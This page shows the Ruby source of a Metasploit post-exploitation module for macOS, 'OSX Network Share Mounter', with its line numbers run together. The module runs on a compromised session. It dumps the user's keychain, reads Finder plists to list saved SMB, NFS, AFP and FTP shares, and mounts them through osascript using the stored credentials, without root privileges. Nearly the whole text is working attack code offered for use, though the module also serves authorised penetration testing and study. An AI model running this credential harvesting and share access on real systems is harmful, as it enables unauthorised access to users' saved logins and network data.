Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/manage/mount_share.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67# list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.8FILE_SHARE_PROTOCOLS = %w[smb nfs cifs ftp afp]910# Used to parse a name property from a plist11NAME_REGEXES = [/^Name = "(.*)";$/, /^Name = (.*);$/]1213# Used to parse a URL property from a plist14URL_REGEX = /^URL = "(.*)";$/1516include Msf::Post::File1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'OSX Network Share Mounter',23'Description' => %q{24This module lists saved network shares and tries to connect to them using stored25credentials. This does not require root privileges.26},27'License' => MSF_LICENSE,28'Author' => [29'Peter Toth <globetother[at]gmail.com>',30'joev'31],32'Platform' => [ 'osx' ],33'SessionTypes' => [ 'meterpreter', 'shell' ],34'Actions' => [35[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],36[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],37[ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]38],39'DefaultAction' => 'LIST'40)41)4243register_options(44[45OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),46OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])47]48)4950register_advanced_options(51[52OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),53OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),54OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),55OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])56]57)58end5960def run61username = cmd_exec('whoami').strip62security_path = datastore['SECURITY_PATH'].shellescape63sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape64recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape6566if action.name == 'LIST'67if file?(security_path)68saved_shares = get_keyring_shares(security_path)69if saved_shares.empty?70print_status('No Network Share credentials were found in the keyrings')71else72print_status('Network shares saved in keyrings:')73print_status(" Protocol\tShare Name")74saved_shares.each do |line|75print_good(" #{line}")76end77end78else79print_error('Could not check keyring contents: Security binary not found.')80end81if file?(sidebar_plist_path)82favorite_shares = get_favorite_shares(sidebar_plist_path)83if favorite_shares.empty?84print_status('No favorite shares were found')85else86print_status('Favorite shares (without stored credentials):')87print_status(" Protocol\tShare Name")88favorite_shares.each do |line|89print_uri(line)90end91end92else93print_error('Could not check sidebar favorites contents: Sidebar plist not found')94end95if file?(recent_plist_path)96recent_shares = get_recent_shares(recent_plist_path)97if recent_shares.empty?98print_status('No recent shares were found')99else100print_status('Recent shares (without stored credentials):')101print_status(" Protocol\tShare Name")102recent_shares.each do |line|103print_uri(line)104end105end106else107print_error('Could not check recent favorites contents: Recent plist not found')108end109mounted_shares = get_mounted_volumes110if mounted_shares.empty?111print_status('No volumes found in /Volumes')112else113print_status('Mounted Volumes:')114mounted_shares.each do |line|115print_good(" #{line}")116end117end118elsif action.name == 'MOUNT'119mount120elsif action.name == 'UMOUNT'121umount122end123end124125# Returns the network shares stored in the user's keychain. These shares will often have126# creds attached, so mounting occurs without prompting the user for a password.127# @return [Array<String>] sorted list of volumes stored in the user's keychain128def get_keyring_shares(security_path)129# Grep for desc srvr and ptcl130data = cmd_exec("#{security_path} dump")131lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)132133# Go through the list, find the saved Network Password descriptions134# and their corresponding ptcl and srvr attributes135list = []136lines.each_with_index do |line, x|137# Remove everything up to the double-quote after the equal sign,138# and also the trailing double-quote139next unless line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length - 2 && (lines[x + 1].match "^.*\=\"(.*)\w*\"\w*$")140141protocol = ::Regexp.last_match(1)142if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x + 2].match("^.*\=\"(.*)\"\w*$")143server = ::Regexp.last_match(1)144list.push(protocol + "\t" + server)145end146end147list.sort148end149150# Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter151# an address, then click the [+] button next to the address field.152# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"153def get_favorite_shares(sidebar_plist_path)154# Grep for URL155data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")156list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact157158# Grep for EntryType and Name159data = cmd_exec("defaults read #{sidebar_plist_path} favorites")160lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }161162# Go through the list, find the rows with EntryType 8 and their corresponding name163lines.each_with_index do |line, x|164if line =~ /EntryType = 8;/ && x < lines.length - 1 && NAME_REGEXES.any? { |r| lines[x + 1].strip =~ r }165list.push(::Regexp.last_match(1))166end167end168169list.sort170end171172# Returns the user's "Recent Shares" list173# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"174def get_recent_shares(recent_plist_path)175# Grep for Name176data = cmd_exec("defaults read #{recent_plist_path} Hosts")177data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact.uniq.sort178end179180# @return [Array<String>] sorted list of mounted volume names181def get_mounted_volumes182cmd_exec('ls /Volumes').lines.map(&:strip).sort183end184185def mount186share_name = datastore['VOLUME']187protocol = datastore['PROTOCOL']188print_status("Connecting to #{protocol}://#{share_name}")189cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")190end191192def umount193share_name = datastore['VOLUME']194print_status("Disconnecting from #{share_name}")195cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")196end197198# hook cmd_exec to print a debug message when DEBUG=true199def cmd_exec(cmd)200vprint_status(cmd)201super202end203204# Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host205# @param [String] line the URL to parse and print formatted206def print_uri(line)207if line =~ %r{^(.*?)://(.*)$}208print_good " #{::Regexp.last_match(1)}\t#{::Regexp.last_match(2)}"209else210print_good " #{line}"211end212end213214# path to osascript on the remote system215def osascript_path216datastore['OSASCRIPT_PATH'].shellescape217end218end219220221